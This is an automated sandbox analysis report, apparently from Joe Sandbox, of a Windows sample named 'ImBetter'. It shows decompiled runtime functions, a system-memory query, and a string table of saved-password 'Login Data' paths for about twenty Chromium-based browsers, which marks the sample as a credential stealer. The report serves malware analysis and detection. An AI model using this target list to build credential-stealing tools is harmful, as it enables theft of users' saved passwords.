0x7ff7e6b4a2bf
0x7ff7e6b4a2c9
0x7ff7e6b4a2cb
0x7ff7e6b4a2dc

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A2CB

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fdf41bf8be553d5c2ac848c575e830b20b0bb27fd65db4de71b0eb5dd3db2c51
Instruction ID: 9888dde1b235e2780a1c39aedf052d74b89432aa594ffd66bc2e0912aef50d43
Opcode Fuzzy Hash: fdf41bf8be553d5c2ac848c575e830b20b0bb27fd65db4de71b0eb5dd3db2c51
Instruction Fuzzy Hash: B121C972628A8147DB61AF19D84037AB7A0FB84B94FB44236E65D476DAFF3DD400CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B45E3C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B45D99

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fb89785861463d85ef8a2f9493520ad20cc5d5eddc7182ab15263660ffebc59f
Instruction ID: dada0bcc8a74e79b3c9130e05bc75ba070046d489820833c5dd862cc8193d124
Opcode Fuzzy Hash: fb89785861463d85ef8a2f9493520ad20cc5d5eddc7182ab15263660ffebc59f
Instruction Fuzzy Hash: EA11542292CA8141EE60BF519C0077BF3A1BF85B80FA44433EA8D57A97EF7DD4518722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B297DC Relevance: 1.5, APIs: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B297DC(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r14, void* _a8, void* _a16, void* _a24, void* _a32, intOrPtr _a40) {
				intOrPtr* _t19;
				intOrPtr* _t31;

				_t19 = _t31;
				 *((long long*)(_t19 + 8)) = __rbx;
				 *((long long*)(_t19 + 0x10)) = __rsi;
				 *((long long*)(_t19 + 0x18)) = __rdi;
				 *((long long*)(_t19 + 0x20)) = __r14;
				if (__r8 == 0) goto 0xe6b29835;
				if (__r9 == 0) goto 0xe6b29835;
				if (_a40 != 0) goto 0xe6b29852;
				if (__rdx == 0xffffffff) goto 0xe6b29825;
				E00007FF77FF7E6B3EA30();
				E00007FF77FF7E6B29CE4(_t19);
				 *_t19 = 0x16;
				E00007FF77FF7E6B25994();
				return 0;
			}

0x7ff7e6b297dc
0x7ff7e6b297df
0x7ff7e6b297e3
0x7ff7e6b297e7
0x7ff7e6b297eb
0x7ff7e6b29804
0x7ff7e6b29809
0x7ff7e6b29813
0x7ff7e6b29819
0x7ff7e6b29820
0x7ff7e6b29825
0x7ff7e6b2982a
0x7ff7e6b29830
0x7ff7e6b29851

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B29830

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a1995687cd164abe7605d5c8f51537e30d6067d50ad0b353e7739e331ed3823b
Instruction ID: f14bdf9b79334165ca3c146550247ce3c3caf29700924ffd16327248c088de49
Opcode Fuzzy Hash: a1995687cd164abe7605d5c8f51537e30d6067d50ad0b353e7739e331ed3823b
Instruction Fuzzy Hash: 93018261A287C140EA04BB539D0026AF6E2BB45FE0FA84A36DE6C17BD6DE3CD0118312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B37884 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B37884(void* __ecx, intOrPtr* __rax, long long __rbx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (__ecx - 0x2000 < 0) goto 0xe6b378cc;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 9;
				E00007FF77FF7E6B25994();
				return 9;
			}

0x7ff7e6b37884
0x7ff7e6b37889
0x7ff7e6b3788e
0x7ff7e6b378a1
0x7ff7e6b378a3
0x7ff7e6b378ad
0x7ff7e6b378af
0x7ff7e6b378cb

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B378AF

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 30c87bc0358c6ec570613810b9f449b93700423912deea8715b5657a76977db3
Instruction ID: 460146ac3d917624f944f3f661d8f960656c52e9e795699127ee5731aa8f4548
Opcode Fuzzy Hash: 30c87bc0358c6ec570613810b9f449b93700423912deea8715b5657a76977db3
Instruction Fuzzy Hash: FD116D32A7868282F310BF15EC4066AF7A5FB44740FB50636D65D47A92DFBCE810CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2B27C Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B2B27C(char __ecx, void* __edx, long long __rax, void* __rbx, void* __rcx, long long __rdx, void* __rsi, void* __r9, char _a8, char _a16, void* _a24, char _a32) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				char _v48;
				char _v56;
				signed long long _v64;
				signed long long _v72;
				void* _t34;
				void* _t37;
				void* _t38;
				long long _t41;
				void* _t55;

				_t53 = __rdx;
				_t51 = __rcx;
				_t50 = __rbx;
				_t41 = __rax;
				_t35 = __ecx;
				_a16 = __rdx;
				_a8 = __ecx;
				_v72 = _v72 & 0x00000000;
				_v64 = _v64 & 0x00000000;
				if (__ecx - 5 <= 0) goto 0xe6b2b2b0;
				E00007FF77FF7E6B29CE4(__rax);
				 *((intOrPtr*)(__rax)) = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b2b317;
				E00007FF77FF7E6B2A284(__rax, __rbx, __rcx, __rdx, __rsi, __r9);
				_a32 = _t41;
				E00007FF77FF7E6B2C754(_t37, _t38, _t41, _t55);
				E00007FF77FF7E6B325DC(_t35, _t41, _t50, _t51, _t53);
				 *(_a32 + 0x3a8) =  *(_a32 + 0x3a8) | 0x00000010;
				_v56 =  &_a32;
				_v48 =  &_v64;
				_v40 =  &_a32;
				_v32 =  &_v72;
				_v24 =  &_a8;
				_v16 =  &_a16;
				_t34 = E00007FF77FF7E6B2A868( &_v48,  &_v56); // executed
				return _t34;
			}

0x7ff7e6b2b27c
0x7ff7e6b2b27c
0x7ff7e6b2b27c
0x7ff7e6b2b27c
0x7ff7e6b2b27c
0x7ff7e6b2b27c
0x7ff7e6b2b281
0x7ff7e6b2b28d
0x7ff7e6b2b292
0x7ff7e6b2b29a
0x7ff7e6b2b29c
0x7ff7e6b2b2a1
0x7ff7e6b2b2a7
0x7ff7e6b2b2ae
0x7ff7e6b2b2b0
0x7ff7e6b2b2b5
0x7ff7e6b2b2b9
0x7ff7e6b2b2be
0x7ff7e6b2b2d7
0x7ff7e6b2b2e2
0x7ff7e6b2b2ea
0x7ff7e6b2b2f2
0x7ff7e6b2b2fa
0x7ff7e6b2b302
0x7ff7e6b2b30a
0x7ff7e6b2b30e
0x7ff7e6b2b31c

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B2B2A7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2639f8e48d5de72e119b10354ecc3dae1ab81fc7785bf83aa1c4c0ffb1724d64
Instruction ID: b37c3acbf6d4a7f2f2ed81153b72352fad6d2e6bcfe5cee0d4472ec5726cef99
Opcode Fuzzy Hash: 2639f8e48d5de72e119b10354ecc3dae1ab81fc7785bf83aa1c4c0ffb1724d64
Instruction Fuzzy Hash: 4F110672A20B469DEB11AFA0D8813ED37B8FB0835CFA00536EA4D12B59DF34C195C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B02590 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7E6B02590(signed int __eax, void* __ecx, unsigned int __rcx, unsigned int __rdx) {
				signed int _v16;
				char _v19;
				unsigned int _v48;
				signed long long _t25;
				unsigned long long _t39;
				signed long long _t41;

				_t25 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v16 = _t25 ^ _t41;
				_v48 = __rcx;
				__imp__GetPhysicallyInstalledSystemMemory(); // executed
				_t39 = __rdx >> 3;
				r8d = 0xcccccccd + _t39;
				r8b = r8b + r8b;
				 *((char*)( &_v19 - 1)) = __ecx - r8b + 0x30;
				if (_t39 != 0) goto 0xe6b025d0;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B03630((__eax * (_v48 >> 0x0000000a) >> 0x00000020 & 0x000000ff) << 2, __rcx,  &_v19 - 1,  &_v19), __ecx - r8b + 0x30, _v16 ^ _t41);
			}

0x7ff7e6b02596
0x7ff7e6b025a0
0x7ff7e6b025a8
0x7ff7e6b025b2
0x7ff7e6b025d9
0x7ff7e6b025e3
0x7ff7e6b025e7
0x7ff7e6b025f0
0x7ff7e6b025f9
0x7ff7e6b02620

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE ref: 00007FF7E6B025B2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: c4fd4f8997adca473551114e14e92328c347aa5cd2c3f46c1efc2beb41d17829
Instruction ID: 1f30c4e0d10ac35ad8e09ec010aa9fb7b5f0f68d19f4f46e783ef2410ec5d671
Opcode Fuzzy Hash: c4fd4f8997adca473551114e14e92328c347aa5cd2c3f46c1efc2beb41d17829
Instruction Fuzzy Hash: 7D01D6A5F2864981EE10DB2DA8626A7B760EBD8BC4F940132EE4D07755DE3CD04ACB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2C9C0 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E6B2C9C0(void* __eax, signed int __rcx, signed int __rdx) {
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0xe6b2c9df;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0xe6b2ca22;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0xe6b2ca06;
				if (E00007FF77FF7E6B32274() == 0) goto 0xe6b2ca22;
				if (E00007FF77FF7E6B32204(_t22,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0xe6b2ca22;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0xe6b2c9f1;
				goto 0xe6b2ca2f;
				E00007FF77FF7E6B29CE4(_t22);
				 *_t22 = 0xc;
				return 0;
			}

0x7ff7e6b2c9c0
0x7ff7e6b2c9cf
0x7ff7e6b2c9d3
0x7ff7e6b2c9d3
0x7ff7e6b2c9dd
0x7ff7e6b2c9eb
0x7ff7e6b2c9ef
0x7ff7e6b2c9f8
0x7ff7e6b2ca04
0x7ff7e6b2ca15
0x7ff7e6b2ca1e
0x7ff7e6b2ca20
0x7ff7e6b2ca22
0x7ff7e6b2ca27
0x7ff7e6b2ca34

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7E6B2A45E,?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2CA15

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 44b3feb8fc591cec5c1a583311bee9162603a72d6d486ecc1c775b8e2c50d10f
Instruction ID: 966750fe4b3499ff89907222d30f190708514e008b2c06840e04913325e9ac54
Opcode Fuzzy Hash: 44b3feb8fc591cec5c1a583311bee9162603a72d6d486ecc1c775b8e2c50d10f
Instruction Fuzzy Hash: BEF04F14B3929641FF99BA555D013B6B2C22F89B50FE85532980E46282EF3CE4508233

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B29D40 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E6B29D40(intOrPtr* __rax, void* __rcx) {

				if (__rcx - 0xffffffe0 > 0) goto 0xe6b29d8b;
				_t16 =  ==  ? __rax : __rcx;
				goto 0xe6b29d72;
				if (E00007FF77FF7E6B32274() == 0) goto 0xe6b29d8b;
				if (E00007FF77FF7E6B32204(__rax,  ==  ? __rax : __rcx) == 0) goto 0xe6b29d8b;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0xe6b29d5d;
				goto 0xe6b29d98;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0xc;
				return 0;
			}

0x7ff7e6b29d4d
0x7ff7e6b29d57
0x7ff7e6b29d5b
0x7ff7e6b29d64
0x7ff7e6b29d70
0x7ff7e6b29d7e
0x7ff7e6b29d87
0x7ff7e6b29d89
0x7ff7e6b29d8b
0x7ff7e6b29d90
0x7ff7e6b29d9d

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7E6B32175,?,?,00000000,00007FF7E6B3BF53,?,?,?,00007FF7E6B3A98B,?,?,?,00007FF7E6B3A881), ref: 00007FF7E6B29D7E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fdfca2956e7ed941b4d163413b76b42b424b9933ec87f16c62b78057dc4fb144
Instruction ID: 38925c155dcfa3bf2c31c3b7293fa4fb6d9a7cff4449f24a46a26e3f40102356
Opcode Fuzzy Hash: fdfca2956e7ed941b4d163413b76b42b424b9933ec87f16c62b78057dc4fb144
Instruction Fuzzy Hash: E9F05E00FB928241FE187A675D40377B1C16F84BE0FA84E36DC2E862C6DE7CA4419232

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B28B18 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF7E6B28B18(void* __rcx) {
				void* __rbx;
				void* _t6;
				void* _t10;
				intOrPtr* _t11;
				long long _t12;
				signed long long _t15;
				signed long long _t19;
				void* _t20;
				void* _t21;
				void* _t22;

				E00007FF77FF7E6B262E0(_t12, __rcx, _t20, _t21, _t22);
				E00007FF77FF7E6B30258(_t12, _t20);
				_t15 =  *0xe6b6c8d0; // 0x0
				E00007FF77FF7E6B2EAE0(_t10,  *((intOrPtr*)(_t12 + _t15)));
				_t11 =  *0xe6b6c8d0; // 0x0
				DeleteCriticalSection(??);
				if (_t12 + 8 != 0x18) goto 0xe6b28b2a;
				_t19 =  *0xe6b6c8d0; // 0x0
				_t6 = E00007FF77FF7E6B29D04(_t11, _t19);
				 *0xe6b6c8d0 =  *0xe6b6c8d0 & 0x00000000;
				return _t6;
			}

0x7ff7e6b28b1e
0x7ff7e6b28b23
0x7ff7e6b28b2a
0x7ff7e6b28b35
0x7ff7e6b28b3a
0x7ff7e6b28b49
0x7ff7e6b28b57
0x7ff7e6b28b59
0x7ff7e6b28b60
0x7ff7e6b28b65
0x7ff7e6b28b72

APIs

Part of subcall function 00007FF7E6B30258: DeleteCriticalSection.KERNEL32 ref: 00007FF7E6B302CA

DeleteCriticalSection.KERNEL32 ref: 00007FF7E6B28B49

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: 26616ed2e2684b17dd2a2770244ee610d9e1dccc7fc961d3ea6a15db7370b0c9
Instruction ID: 64eb688ec3c3f362539fdabb009e463d559431012460dfdb5a70acf51e7021ae
Opcode Fuzzy Hash: 26616ed2e2684b17dd2a2770244ee610d9e1dccc7fc961d3ea6a15db7370b0c9
Instruction Fuzzy Hash: B9F01C54E689C681FB10BB66EC9137AB2A1AF84740FA00133C80E46262DF7CB0558332

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4E6B8 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 00007FF7E6B4E6D3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: DecodePointer
String ID:
API String ID: 3527080286-0
Opcode ID: 3ad245e9e5b5f32212f5d0cccf126fe914c43fbdc64ea36b62f3a43202544ad7
Instruction ID: 6a0feff3e51cd3eaa6170fe31373b316eba5e4664f7752f0dfe1b976446b1d8c
Opcode Fuzzy Hash: 3ad245e9e5b5f32212f5d0cccf126fe914c43fbdc64ea36b62f3a43202544ad7
Instruction Fuzzy Hash: 27E0BF25E39A0694F914B75AAC4433AB264AF58741FF01037C51E423A0EE3CA1568623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B434F4 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,02AAAAAAAAAAAAAA,FFFFFFFF,00007FF7E6B14B95), ref: 00007FF7E6B434F8

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 99b4301aa08b6d1cf79d51e9d973e96fed13bb78240c2c55ce93cd1156efa3e2
Instruction ID: eed5971b2c1afd51bd215649d202933451f98b8e58dcb92e9122ff6886d8eb40
Opcode Fuzzy Hash: 99b4301aa08b6d1cf79d51e9d973e96fed13bb78240c2c55ce93cd1156efa3e2
Instruction Fuzzy Hash: B5C04C14F29502C1E6543B736C4632261A46B98701FE55432D20881250FD3C95A68633

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7E6B18050 Relevance: 77.8, APIs: 1, Strings: 43, Instructions: 770COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6B03900: __std_fs_code_page.LIBCPMT ref: 00007FF7E6B03923
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B03976
Part of subcall function 00007FF7E6B03900: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF7E6B039AE

Part of subcall function 00007FF7E6B09B50: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09C6C
Part of subcall function 00007FF7E6B09B50: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09C72

Part of subcall function 00007FF7E6B02FD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B030B2
Part of subcall function 00007FF7E6B02FD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B030BE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1913B

Strings

SRWare, xrefs: 00007FF7E6B18CF8
SRWare Iron\User Data\Default\Login Data, xrefs: 00007FF7E6B18C89
Sleipnir, xrefs: 00007FF7E6B18C4F
Vivaldi\User Data\Default\Login Data, xrefs: 00007FF7E6B181EE
AcWebBrowser\User Data\Default\Login Data, xrefs: 00007FF7E6B18881
BlackHa, xrefs: 00007FF7E6B1883B
Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF7E6B1870B
Torch, xrefs: 00007FF7E6B1854F
CoolNovo\User Data\Default\Login Data, xrefs: 00007FF7E6B1893C
Comodo, xrefs: 00007FF7E6B18494
Yandex, xrefs: 00007FF7E6B18780
Comodo\Dragon\User Data\Default\Login Data, xrefs: 00007FF7E6B1841F
Opera Software\Opera Stable\Login Data, xrefs: 00007FF7E6B182A9
Titan Browser\User Data\Default\Login Data, xrefs: 00007FF7E6B18D32
BlackHawk\User Data\Default\Login Data, xrefs: 00007FF7E6B187C6
Rockmelt\User Data\Default\Login Data, xrefs: 00007FF7E6B18B37
", xrefs: 00007FF7E6B18DE7
~, xrefs: 00007FF7E6B1822F
Cent, xrefs: 00007FF7E6B1860A
Go!, xrefs: 00007FF7E6B186C5
Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF7E6B18133
Opera, xrefs: 00007FF7E6B1831E
AcWebBr, xrefs: 00007FF7E6B188F6
Torch\User Data\Default\Login Data, xrefs: 00007FF7E6B184DA
BraveSoftware\Brave-Browser\User DataDefault\Login Data, xrefs: 00007FF7E6B18364
?, xrefs: 00007FF7E6B18D58
Brave, xrefs: 00007FF7E6B183D9
Baidu Spark\User Data\Default\Login Data, xrefs: 00007FF7E6B18A8E
Epic Browser\User Data\Default\Login Data, xrefs: 00007FF7E6B189E5
CentBrowser\User Data\Default\Login Data, xrefs: 00007FF7E6B18595
Titan, xrefs: 00007FF7E6B18DA1
Go!\User Data\Default\Login Data, xrefs: 00007FF7E6B18650
Baidu, xrefs: 00007FF7E6B18AFD
Flock, xrefs: 00007FF7E6B18E46
Epic, xrefs: 00007FF7E6B18A54
Sleipnir\User Data\Default\Login Data, xrefs: 00007FF7E6B18BE0
CoolNov, xrefs: 00007FF7E6B189AB
Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF7E6B18084
Chrome, xrefs: 00007FF7E6B180F5
Edge, xrefs: 00007FF7E6B181A8
RockMe, xrefs: 00007FF7E6B18BA6
Flock\User Data\Default\Login Data, xrefs: 00007FF7E6B18DDB
Vivaldi, xrefs: 00007FF7E6B18263

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_fs_convert_narrow_to_wide$__std_fs_code_page
